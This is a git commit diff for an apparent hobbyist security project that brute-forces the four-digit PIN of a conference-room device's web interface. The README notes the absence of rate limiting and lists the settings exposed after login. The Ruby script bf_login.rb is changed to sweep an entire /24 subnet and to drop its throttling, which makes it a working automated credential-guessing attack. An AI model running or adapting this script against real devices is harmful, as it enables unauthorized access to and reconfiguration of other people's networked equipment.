final touches on success determination, initial subnet sweeping work, readme updates
This commit is contained in:
parent
42b17091fd
commit
749e260f36
@ -4,7 +4,7 @@ found this device in a conference room, found the IP from an unauthenticated men
|
||||
|
||||
## story time
|
||||
|
||||
from the page that loaded when you first hit http://<device>, i noticed `app.js`
|
||||
from the page that loaded when you first hit `http://<device>`, i noticed `app.js` was being loaded.
|
||||
|
||||
in it, i found:
|
||||
```json
|
||||
@ -13,8 +13,27 @@ in it, i found:
|
||||
- pattern: /^(\d{4,})$/,
|
||||
```
|
||||
|
||||
so we can assume that there are only 9999 possibilities, which is definitely small enough to brute force.
|
||||
|
||||
there doesn't seem to be any protection/rate limiting, so..
|
||||
|
||||
## tools
|
||||
name | description
|
||||
-----|-------------
|
||||
[bf_login.rb](bf_login.rb) | brute forces the PIN on the web interface
|
||||
[bf_login.rb](bf_login.rb) | brute forces the PIN on the web interface
|
||||
|
||||
## functionality exposed
|
||||
* change settings
|
||||
* screen brightness, timeout, enable/disable
|
||||
* LED colors, enable/disable
|
||||
* SIP settings
|
||||
* DHCP, NTP settings
|
||||
* name displayed
|
||||
* etc
|
||||
|
||||
* upgrade firmware - need to do more digging here
|
||||
* restart device
|
||||
* pull logs/configuration
|
||||
* SIP password is not included in exported config.xml
|
||||
|
||||
the same functionality, in a different interface is now available on the dialer as well as via HTTP. interestingly, many features/settings are exposed on the dialer, while all access over HTTP must be authenticated
|
||||
|
@ -49,38 +49,45 @@ end
|
||||
address = ARGV.pop
|
||||
errors = Array.new
|
||||
responses = Array.new
|
||||
output = sprintf('%s-logs.%s.%s.json', __FILE__, Time.now.to_i, $$)
|
||||
output = sprintf('%s-logs-%s.%s.%s.json', __FILE__, address, Time.now.to_i, $$)
|
||||
|
||||
if address.nil?
|
||||
puts sprintf('usage: %s <address>', __FILE__)
|
||||
exit 1
|
||||
end
|
||||
|
||||
9999.downto(0) do |i|
|
||||
# TODO we should prioritize 0000, 1234, etc
|
||||
1.upto(254) do |octet|
|
||||
base = $1 if address.match(/((?:\d{1,3}){3}\.)/)
|
||||
ip = sprintf('%s.%s', base, octet)
|
||||
9999.downto(0) do |i|
|
||||
# TODO we should prioritize 0000, 1234, etc
|
||||
|
||||
pin = sprintf('%04d', i)
|
||||
pin = sprintf('%04d', i)
|
||||
|
||||
begin
|
||||
url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', address)
|
||||
begin
|
||||
url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', address)
|
||||
|
||||
puts sprintf('trying pin[%s]', pin)
|
||||
puts sprintf('trying pin[%s]', pin)
|
||||
|
||||
response = check_pin(url, pin)
|
||||
response = check_pin(url, pin)
|
||||
|
||||
# TODO need to do some inspection on the responses to find the difference
|
||||
responses << response
|
||||
responses << response
|
||||
if response.body.match(/1/)
|
||||
puts sprintf('INFO: found the pin[%s]', pin)
|
||||
break
|
||||
end
|
||||
|
||||
# TODO need to do some handling on the rate limiting that is almost certain to follow, this is a bit blind
|
||||
sleep 1 if (i % 100).eql?(0)
|
||||
#sleep 1 if (i % 100).eql?(0)
|
||||
|
||||
rescue => e
|
||||
puts sprintf('ERROR: something bad happened on pin[%s]: [%s:%s]', pin, e.class, e.message)
|
||||
errors << { :exception => e, :pin => pin }
|
||||
end
|
||||
|
||||
rescue => e
|
||||
puts sprintf('ERROR: something bad happened on pin[%s]: [%s:%s]', pin, e.class, e.message)
|
||||
errors << { :exception => e, :pin => pin }
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
# marshalling the data, at least until we know what we're looking for
|
||||
begin
|
||||
|
||||
@ -110,4 +117,4 @@ errors.each do |e|
|
||||
end
|
||||
|
||||
puts sprintf('ERROR: [%d] total errors', errors.size)
|
||||
exit 1 unless errors.empty?
|
||||
exit 1 unless errors.empty?
|
||||
|
Loading…
Reference in New Issue
Block a user